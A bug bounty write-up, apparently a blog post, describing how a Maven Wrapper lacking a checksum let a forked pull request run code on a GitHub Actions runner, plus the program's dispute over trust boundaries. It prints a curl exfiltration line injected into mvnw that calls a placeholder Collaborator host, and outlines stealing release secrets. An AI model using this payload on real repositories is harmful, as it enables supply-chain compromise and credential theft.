Press enter or click to view image in full size
In the modern era of DevSecOps, CI/CD pipelines are the crown jewels of any organization. They hold production secrets, signing keys, and deployment credentials. But what happens when the pipeline implicitly trusts unverified scripts?
Recently, while participating in a bug bounty program for a large organization, I discovered an Indirect Pipeline Poisoning (PPE) vulnerability. By exploiting a simple misconfiguration in their Maven Wrapper setup, I was able to execute arbitrary code on their GitHub-hosted runner.
In this article, I will walk you through the vulnerability, the attack vector, the potential impact on production secrets, and a controversial lesson about “Trust Boundaries” in bug bounty.
While auditing the target’s open-source repository, I focused on their .github/workflows directory. I noticed they heavily relied on the Maven Wrapper (mvnw) to build and test their Java project across various workflows.
To understand how the wrapper was configured, I inspected the .mvn/wrapper/maven-wrapper.properties file. Here is what a secure configuration should look like:
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven-3.8.4/apache-maven-3.8.4-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar
distributionSha256Sum=a9b2d825eacf2e771ed5d6b0e01398589ac1bfa4171f36154d1b578787960550However, the target’s repository was missing the critical distributionSha256Sum property.
Why is this important? Without the SHA-256 checksum lock, the build environment has zero integrity verification for the mvnw script and its downloaded archives. It will blindly execute whatever wrapper script is provided in the repository.
Knowing that the system lacked integrity checks, I created a fork of the repository to build my Proof of Concept (PoC).
Press enter or click to view image in full size
Press enter or click to view image in full size
My goal was to demonstrate Remote Code Execution (RCE) on the CI/CD runner. I modified the ./mvnw script, injecting a malicious payload that would exfiltrate environment variables to my Burp Collaborator server:
#!/bin/sh
# Malicious payload injected into mvnw
curl -X POST -d "user=$(whoami)&is_github=$(echo $GITHUB_ACTIONS)" https://[YOUR_BURP_COLLABORATOR_URL]# ... original mvnw code follows ...
I committed this poisoned mvnw script to my fork and opened a Pull Request (PR) against the target's main repository.
Join Medium for free to get updates from this writer.
As soon as the automated PR checks triggered, the GitHub Actions runner picked up my modified mvnw script and executed it. Boom! I received a ping on my Collaborator server:
user=runner
is_github=true(The source IP confirmed the execution occurred inside the Microsoft Azure / GitHub Actions infrastructure).
Execution in a PR context is typically sandboxed, but the real threat of a Supply Chain Attack lies in the post-merge phase.
If a maintainer reviewed the PR, focused only on the Java code changes, and missed the slightly modified mvnw script, they would merge the "Trojan PR" into the main branch.
Once merged, the poisoned script would become part of the official codebase. The target had a release.yml workflow that executed upon publishing a new release:
- name: Publish to the Maven Central Repository
run: ./mvnw deploy
env:
MAVEN_USERNAME: ${{ secrets.OSSRH_USERNAME }}
MAVEN_PASSWORD: ${{ secrets.OSSRH_TOKEN }}
MAVEN_GPG_PASSPHRASE: ${{ secrets.GPG_PASSPHRASE }}During a release cycle, the environment is highly privileged. My poisoned mvnw script would have direct access to exfiltrate the GPG Private Keys and Maven Publishing Tokens, leading to a complete compromise of their production releases.
I submitted this detailed report to the bug bounty program, expecting a swift triage for a Critical/High severity issue. However, the response I received was a classic bug bounty debate.
The security team acknowledged the risk but closed the report as “Informative.” Their reasoning?
“We have branch protections. The impact depends on attacker-controlled changes being merged into our main repository. That manual review is our trust boundary.”
They relied entirely on the assumption that a human reviewer would spot the malicious bash code in the mvnw script before merging.
While the program’s reliance on manual review is a common practice in open-source projects, it represents a single point of failure (Human Error).
In modern DevSecOps, Technical Controls should always back up Procedural Controls. Adding a simple distributionSha256Sum to the properties file takes exactly one minute and mathematically eliminates this attack vector, even if a maintainer mistakenly merges a bad script.
Lessons Learned for Hunters:
mvnw, gradlew).Have you ever faced a similar “Trust Boundary” debate in your bug bounty journey? Let me know in the comments!
#BugBounty #CyberSecurity #GitHubActions #InfoSec #CICD #EthicalHacking